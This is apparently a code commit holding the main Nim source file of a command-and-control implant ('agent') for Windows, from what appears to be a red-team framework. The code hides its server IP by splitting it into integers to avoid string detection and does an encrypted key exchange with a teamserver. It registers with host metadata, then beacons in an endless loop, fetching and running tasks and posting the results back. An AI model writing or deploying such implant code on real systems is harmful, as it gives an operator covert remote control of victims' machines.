Rework module system. Now modules/commands are defined in a single file each, with both the function executed by teh agent and the definition for server-side argument parsing.
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109
src/agent/main.nim
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109
src/agent/main.nim
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import strformat, os, times, system, base64
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import winim
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import core/[task, taskresult, heartbeat, http, register]
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import ../modules/manager
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import ../common/[types, utils, crypto]
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const ListenerUuid {.strdefine.}: string = ""
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const Octet1 {.intdefine.}: int = 0
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const Octet2 {.intdefine.}: int = 0
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const Octet3 {.intdefine.}: int = 0
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const Octet4 {.intdefine.}: int = 0
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const ListenerPort {.intdefine.}: int = 5555
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const SleepDelay {.intdefine.}: int = 10
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const ServerPublicKey {.strdefine.}: string = ""
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proc main() =
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#[
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The process is the following:
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1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
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2. Agent collects information relevant for the registration (using Windows API)
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3. Agent registers to the teamserver
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4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
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]#
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# The agent configuration is read at compile time using define/-d statements in nim.cfg
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# This configuration file can be dynamically generated from the teamserver management interface
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# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
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when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
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echo "Missing agent configuration."
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quit(0)
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# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
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let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
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# Create agent configuration
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var config: AgentConfig
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try:
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var agentKeyPair = generateKeyPair()
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let serverPublicKey = decode(ServerPublicKey).toKey()
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config = AgentConfig(
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agentId: generateUUID(),
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listenerId: ListenerUuid,
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ip: address,
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port: ListenerPort,
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sleep: SleepDelay,
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sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
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agentPublicKey: agentKeyPair.publicKey
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)
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# Cleanup agent's secret key
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wipeKey(agentKeyPair.privateKey)
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except CatchableError as err:
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echo "[-] " & err.msg
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# Load agent commands
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loadModules()
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# Create registration payload
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var registration: AgentRegistrationData = config.collectAgentMetadata()
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let registrationBytes = config.serializeRegistrationData(registration)
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config.register(registrationBytes)
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echo fmt"[+] [{config.agentId}] Agent registered."
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#[
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Agent routine:
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1. Sleep Obfuscation
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2. Retrieve task from /tasks endpoint
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3. Execute task and post result to /results
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4. If additional tasks have been fetched, go to 2.
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5. If no more tasks need to be executed, go to 1.
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]#
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while true:
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# TODO: Replace with actual sleep obfuscation that encrypts agent memory
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sleep(config.sleep * 1000)
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let date: string = now().format("dd-MM-yyyy HH:mm:ss")
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echo fmt"[{date}] Checking in."
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# Retrieve task queue for the current agent by sending a check-in/heartbeat request
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# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
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var heartbeat: Heartbeat = config.createHeartbeat()
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let
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heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
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packet: string = config.getTasks(heartbeatBytes)
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if packet.len <= 0:
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echo "No tasks to execute."
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continue
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let tasks: seq[Task] = config.deserializePacket(packet)
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if tasks.len <= 0:
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echo "No tasks to execute."
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continue
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# Execute all retrieved tasks and return their output to the server
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for task in tasks:
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var result: TaskResult = config.handleTask(task)
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let resultBytes: seq[byte] = config.serializeTaskResult(result)
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config.postResults(resultBytes)
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when isMainModule:
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main()
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